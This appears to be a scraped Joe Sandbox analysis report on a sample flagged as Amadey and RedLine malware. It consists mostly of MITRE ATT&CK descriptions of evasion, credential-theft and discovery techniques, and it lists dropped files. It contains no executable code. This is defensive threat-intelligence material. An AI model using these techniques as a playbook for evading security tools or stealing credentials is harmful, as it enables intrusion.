Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mggoBrtk9t.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6148.tmp.ssg.exe.log

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe

Windows Analysis Report
mggoBrtk9t.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre